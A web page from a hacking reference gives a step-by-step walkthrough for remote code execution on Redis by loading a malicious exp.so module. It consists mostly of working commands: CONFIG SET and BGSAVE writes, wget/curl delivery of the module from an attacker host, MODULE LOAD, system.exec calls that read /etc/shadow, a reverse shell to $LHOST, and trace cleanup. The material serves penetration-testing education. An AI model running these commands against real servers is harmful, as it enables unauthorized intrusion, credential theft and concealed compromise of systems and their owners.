# Redis RCE via Malicious Module Load

> Exploit unauthenticated or authenticated Redis instances by loading a malicious .so module to achieve remote code execution on the target system.

- **URL:** https://hackindex.io/services/redis/exploitation/rce-module-load
- **Path:** Redis > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/redis/exploitation.md)
- **Published:** 2026-03-14
- **Updated:** 2026-07-14

Redis 4.0 introduced external module support: loadable `.so` files that extend Redis with custom commands. A malicious module can register a command that executes arbitrary OS commands on the host. The module must first reach the target filesystem, then be loaded with `MODULE LOAD`. This technique works on Redis 4+ and does not depend on the target OS distribution (unlike CVE-2022-0543, it is not Debian-specific). Getting the module onto the target is the main challenge. Delivery options:

- Master-slave replication: cleanest binary delivery, no prior shell needed
- SCP or wget from an existing foothold on the target
- Redis CONFIG SET + BGSAVE write (works but RDB encoding may corrupt the binary)

## Prerequisites Check

**1 - Redis version is 4.0 or above:**

```bash
redis-cli -h $TARGET_IP -p 6379 info server | grep redis_version
```

Version 4.0.0 or higher required.

**2 - CONFIG access:**

```bash
redis-cli -h $TARGET_IP -p 6379 config get dir
```

Must return a path. CONFIG is needed to write the module to disk via BGSAVE.

**3 - MODULE command is not disabled:**

```bash
redis-cli -h $TARGET_IP -p 6379 module list
```

An empty list or `(empty array)` is fine: it means no modules are loaded yet. An error like `ERR unknown command 'module'` means MODULE is disabled. If disabled, this technique will not work.

## Step 1 - Get the exp.so Module

Clone the RedisModulesSDK repository which includes a precompiled `exp.so`:

```bash
git clone https://github.com/n0b0dyCN/RedisModulesSDK
ls RedisModulesSDK/exp/
```

The `exp.so` file registers two commands: `system.exec` (runs a command and returns output) and `system.rev` (opens a reverse shell).

If the precompiled binary does not work (architecture mismatch), compile from source:

```bash
cd RedisModulesSDK/exp
make
```

Requires gcc and the Redis source headers: check the README for dependencies.

## Step 2 - Deliver [exp.so](http://exp.so) to the Target

**Option A - Via Redis BGSAVE write:**

Host the module on your attack box temporarily, then use Redis to write it. This only works cleanly if you can control binary content: easier with the master-slave technique. For a direct CONFIG write approach:

```bash
redis-cli -h $TARGET_IP -p 6379 config set dir /tmp
redis-cli -h $TARGET_IP -p 6379 config set dbfilename exp.so
```

Then write the module content as a key (works for small modules, but RDB encoding may corrupt binary):

```bash
redis-cli -h $TARGET_IP -p 6379 set payload "$(cat RedisModulesSDK/exp/exp.so | xxd -p | tr -d '\n')"
redis-cli -h $TARGET_IP -p 6379 bgsave
```

For reliable binary delivery, use the master-slave replication technique which handles binary data cleanly: see [https://hackindex.io/services/redis/exploitation/master-slave-replication](https://hackindex.io/services/redis/exploitation/master-slave-replication).

**Option B - Via a shell you already have:**

If you have any shell on the target (from another service or prior exploitation), upload [exp.so](http://exp.so) directly:

```bash
scp RedisModulesSDK/exp/exp.so $USER@$TARGET_IP:/tmp/exp.so
```

Or via a web server:

```bash
# On attack box:
python3 -m http.server 8080

# On target (from existing shell):
wget http://$LHOST:8080/exp.so -O /tmp/exp.so
curl -o /tmp/exp.so http://$LHOST:8080/exp.so
```

## Step 3 - Load the Module

```bash
redis-cli -h $TARGET_IP -p 6379 module load /tmp/exp.so
# OK
```

Confirm it loaded:

```bash
redis-cli -h $TARGET_IP -p 6379 module list
```

## Step 4 - Execute Commands

Run any OS command and get output:

```bash
redis-cli -h $TARGET_IP -p 6379 system.exec "id"
redis-cli -h $TARGET_IP -p 6379 system.exec "whoami"
redis-cli -h $TARGET_IP -p 6379 system.exec "cat /etc/shadow"
```

Get a reverse shell:

```bash
nc -lvnp $LPORT
redis-cli -h $TARGET_IP -p 6379 system.rev $LHOST $LPORT
```

## Step 5 - Unload and Clean Up

Remove the module after use:

```bash
redis-cli -h $TARGET_IP -p 6379 module unload shell
redis-cli -h $TARGET_IP -p 6379 config set dir /var/lib/redis
redis-cli -h $TARGET_IP -p 6379 config set dbfilename dump.rdb
```

Delete the uploaded file from the target if you have shell access:

```bash
rm /tmp/exp.so
```

## References

- [RedisModulesSDK](https://github.com/n0b0dyCN/RedisModulesSDK) - n0b0dyCN Malicious Redis module source and precompiled exp.so with system.exec and system.rev commands.
- [Redis Modules API](https://redis.io/docs/latest/develop/reference/modules/) - Official module loading and command registration documentation.
